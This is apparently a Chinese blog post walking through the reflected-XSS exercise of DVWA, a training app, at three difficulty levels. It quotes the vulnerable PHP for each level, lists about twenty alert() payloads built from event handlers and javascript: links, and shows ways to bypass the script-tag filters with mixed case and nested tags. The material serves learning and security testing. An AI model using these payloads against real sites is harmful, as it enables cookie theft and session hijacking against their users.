blubiu

My Love

上网不网恋,简直浪费电.


DVWA代码审计--反射型XSS


反射型XSS

从现在开始,后面的文章都会加入目录,和锚点,

前面的文章也会逐步更新。


原理:

简单的说就是,

Web应用程序对用户的输入过滤不足产生的,

攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和Javascript脚本)注入到网页之中,

当其他用户浏览这些网页时,就会执行其中的恶意代码,

对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。


目录:


NO.1 Low

首先来看下代码

<?php 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Feedback for end user 
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
} 

?> 

先学习学习函数!!!


array_key_exists()函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。

语法:array_key_exists(key,array)

例:

array_key_exists( "name", $_GET )

将会查找$_GET或取的name存不存在


<pre>标签可定义预格式化的文本。

预格式化:
就是保留文字在源代码中的格式,页面中显示的和源代码中的效果完全一致。

浏览器再显示其中的内容时,会完全按照其真正的文本格式来显示,

例如,原封不动地保留文档中的空白,如空格、制表符等。


这段代码的意思就是获取用户输入的值,

然后在输出到<pre>标签中。


然后这里简单说下XSS的常见方法

1. 想办法利用代码中的标签,比如:<script>' . $_GET[ 'name' ] . '</script>

那么输入alert(/xss/)的话就会形成<script>alert(/xss/)</script>

2. 闭合代码中的一些标签,然后想办法绕过waf


首先来简单测试一下,

构造payload:<script>alert(/xss/)</script>

因为没有任何的过滤,所以直接弹框了

images

这只是简单的测试,当然也是可以的,然后再看看上面说的如何闭合标签

我们可以去这样构造payload:'</pre>;<script>alert(/xss/)</script>

然后输入之后就会变成:

echo '<pre>Hello ' '</pre>;<script>alert(/xss/)</script> '</pre>';

成功闭合了<pre>标签,;分号是结束的意思

然后我们审查元素可以看到,也是成功闭合了,然后执行了alert(/xss/)弹框

images


在没有任何过滤的情况下,一些常用的标签

下面这些标签大部分是可以自动触发的,无需用户去交互,

大部分情况下我们也是希望是自动触发而不是等用户去触发,

payload如下:
1. <img src=1 onerror=alert("xss");>

images


2. <input onfocus="alert('xss');">

点击小框后触发xss

images


3. <input onblur=alert("xss") autofocus><input autofocus>

竞争焦点,从而触发onblur事件

images


4. <input onfocus="alert('xss');" autofocus>

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

images


5. <details ontoggle="alert('xss');">

details 标签规定了用户可见的或者隐藏的需求的补充细节。

details 标签用来供用户开启关闭的交互式控件。任何形式的内容都能被放在 <details> 标签里边。

使用open属性触发ontoggle事件,无需用户去触发

images


6. <svg onload=alert("xss");>

SVG 即 Scalable Vector Graphics ,是一种用来绘制矢量图的 HTML5 标签。

onload 事件会在页面或图像加载完成后立即发生。

images


7. <select onfocus=alert(xss)></select>

select 标签可创建单选或多选菜单。

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

images


8. <iframe onload=alert("xss");></iframe>

iframe 标签会创建包含另外一个文档的内联框架(即行内框架)。

images


9. <video><source onerror="alert('xss')">

video 标签定义视频,比如电影片段或其他视频流。

source 标签为媒介元素(比如 <video><audio>)定义媒介资源。

它允许您规定可替换的视频/音频文件供浏览器根据它对媒体类型或者编解码器的支持进行选择。

images


10. <audio src=x onerror=alert("xss");>

audio 标签定义声音,比如音乐或其他音频流。

images


11. <body/onload=alert("xss");>

body 这个标签大家都很属性啦,就不多说


12. 利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发

images

images


13. <textarea onfocus=alert("xss"); autofocus>

onfocus 事件在对象获得焦点时发生

autofocus 属性规定在页面加载后文本区域自动获得焦点。

textarea 标签定义多行的文本输入控件,就是我们熟悉的文本域标签。

images


14. <keygen autofocus onfocus=alert(/xss/)>

keygen 标签规定用于表单的密钥对生成器字段

images


15. <marquee onstart=alert("xss")></marquee>

marquee 标签是HTML标签中创建文字滚动的标签。

首标签<marquee>和尾标签</marquee>之间的内容就是滚动内容。

images


16. <isindex type=image src=1 onerror=alert("xss")> //仅限于IE

isindex 标签的作用是使浏览器显示一个对话框,提示用户输入单行文本

所有这里本菜使用的火狐浏览器并没有弹框

images

啰啰嗦嗦yyppp一大堆 (逃。。


特别说明: 例如payload:<keygen autofocus onfocus=alert(/xss/)> 为什么有两个反斜杠,

如果不加的话输出不了,反斜杠 相当于 "" 引号


下面再例举一些,

PS:在无CSP(内容安全策略(Content Security Policy,CSP))的情况下才可以

1. <a>标签

payload: <a href="javascript:alert(xss);">xss</a>

点击后触发

images


2. <iframe>标签

payload: <a href="javascript:alert(xss);">xss</a>

images


3. <img>标签 IE7以下

payload: <img src=javascript:alert('xss')>


4. <form>标签

payload: <form action="Javascript:alert(1)"><input type=submit>

images


NO.2 Medium

直接上代码,

<?php 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?> 

来温故一下函数,

str_replace()字符串替换函数,有三个必填参数

分别是:str_replace(要查找的值,要替换的值,被搜索的字符串)

这段代码的意思就是查找用户输入的内容$_GET[ 'name' ],看看有没有<script>字符串,如果有的话替换为空

这段过滤函数挺鸡肋的,首先只过滤了<script>字符串,

但是并没有过滤大小写,其次上面提到的很多也没有过滤,利用起来还是比较容易的。


虽然知道他过滤了,但还是先用传统的payload测试一下看看,

payload: <script>alert('1')</script>

可以看到已经把<script> 过滤了,

images


然后试试大小写,

payload: <Script>alert(/xss/)</script>

只要有一个大写就匹配不上了,连尖括号都没有过滤,

images

至于上面说的10多种payload,任然是可以使用的,部分<script>标签换成大写就OK了,

还有一种,既然他只检测<script> 标签,那么我们可以这样构造

payload: <scr<script>ipt>alert("xss")</script>

他将我们的<script> 标签替换为空之后,前后任然是可以拼接一个<script> 标签。


NO.3 High

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

preg_replace() 函数执行一个正则表达式的搜索和替换。

语法: mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

参数说明:

  1. $pattern: 要搜索的模式,可以是字符串或一个字符串数组。

  2. $replacement: 用于替换的字符串或字符串数组。

  3. $subject: 要搜索替换的目标字符串或字符串数组。

  4. $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。

  5. $count: 可选,为替换执行的次数。


这段正则的意思就是,搜索用户输入的值中有没有<script ,如果有的话替换为空,

这个正则把<script> 标签限的很死,只要有script顺序的字母出现就会被过滤

.* 为贪婪模式,后面可以匹配多个值,

比如:<<<script<<<<sscccccript<ssssccccrrrriiipppttt 等等

/i 修饰符,忽略大小写


那有没有办法绕过,当然是有的!!

首先不使用<script> 标签的payload就行了,

可以使用一些javascript事件后仍然能执行javascript代码来构造payload。。

例如:<img src=1 onerror=alert("xss");><input onfocus="alert('xss');"> 等等都是可以的

后面就自己慢慢去研究了,

这个东西需要扎实的JavaScript基础

本渣渣只能说这么多了。


附1: XSS挖掘方法

这里简单的总结一点点

即将更新。。(逃


附2: XSS的一些绕过方法

1. HTML实体编码

字符 编码
< &lt
> &gt
& &amp
&#039
&quot
空格 &nbsp

更多精彩可以看这:

https://xz.aliyun.com/t/4067

总结

该说点什么呢,

如果不曾开始,永远不会抵达。


参考文献

https://xz.aliyun.com/t/4067
https://xz.aliyun.com/t/2936
https://www.secquan.org/Notes/334
https://xz.aliyun.com/t/2936
https://www.freebuf.com/articles/web/157953.html